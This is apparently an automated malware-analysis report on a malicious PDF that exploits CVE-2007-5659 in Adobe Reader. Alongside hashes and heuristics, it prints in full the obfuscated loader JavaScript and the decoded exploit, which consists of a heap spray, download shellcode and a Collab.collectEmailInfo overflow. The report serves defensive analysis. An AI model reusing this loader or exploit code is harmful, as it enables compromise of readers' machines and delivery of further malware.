Malicious PDF — malware analysis report

Static analysis result for SHA-256 cf7b5dfe70cbc920…

MALICIOUS

PDF

40.4 KB Created: 2012-09-24 18:48:35 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: d2079e7c8dc49ae49fae6889636a03f8 SHA-1: ae260b3db294b171818c6356d36f48a2b567a8f6 SHA-256: cf7b5dfe70cbc9200c3d48adab86aa0dd2639e3fabcd199c4045d7509e85650d
110 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that leverages the CVE-2007-5659 vulnerability in Adobe Reader. The script's behavior is described as heap spraying, and it attempts to execute further code. This indicates the PDF is designed to exploit a client vulnerability to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9976

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x9E99 1044 bytes
SHA-256: 6c0e13187907503a71982d8d00d19f4fb14a4e9485072ea862899353d4482869
Preview script
First 1,000 lines of the extracted script
var dvi = ":";
var cvngezv43qvzxcv = "YZ{}"+" "+"()[]^";
var pookljorijgklafdas = dvi+"ABCDEFGHIJKLM";
var rgt4tgfqdfadwczxv =cvngezv43qvzxcv+"abcdefghijklmnopqrs";
var uitrtdsgdgf = 'tuvwxyz_'+'012'+'3456789/!%+-'+'*.,;"=<>&'+'\\';
var kilolokol97dfs=pookljorijgklafdas+"NOPQRS"+"TUVWX"+rgt4tgfqdfadwczxv+uitrtdsgdgf;
function tetrt5tre(acvbr4gagfds){
var opoitujdrs4f='';
for (var i = 0;i< acvbr4gagfds.length-1;i++)
{opoitujdrs4f += lkhjiuoy65u(acvbr4gagfds[i]);}
return opoitujdrs4f;}
var xcvw4swresd = 'fgjbuerwioipejijisovnaicasodfskal';
function lkhjiuoy65u(migfthe){
var qazxdsewr3rwe="";
var tutyi6yurty=kilolokol97dfs.indexOf(migfthe)-20;
if (tutyi6yurty<0)
{
var dfgetasaw5ey4aag=kilolokol97dfs.length+125;
tutyi6yurty=tutyi6yurty+dfgetasaw5ey4aag-125;
}
qazxdsewr3rwe=kilolokol97dfs.charAt(tutyi6yurty);
return qazxdsewr3rwe;}
var lkopajg2fads4qf=getField("Text3");
var zdf32fzdzfaerqw=lkopajg2fads4qf.value;
var uytui56rt = tetrt5tre(zdf32fzdzfaerqw);
app[xcvw4swresd[5]+xcvw4swresd[19]+xcvw4swresd[21]+xcvw4swresd[32]](uytui56rt);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 20) at offset 0x4E6 2060 bytes
SHA-256: a9f4006eef659408ac102a03a5e3012bbe4f51817cb05e186ff09b9a73e895da
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C4I91B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({sIubj:"",msg:msg_bof}); \

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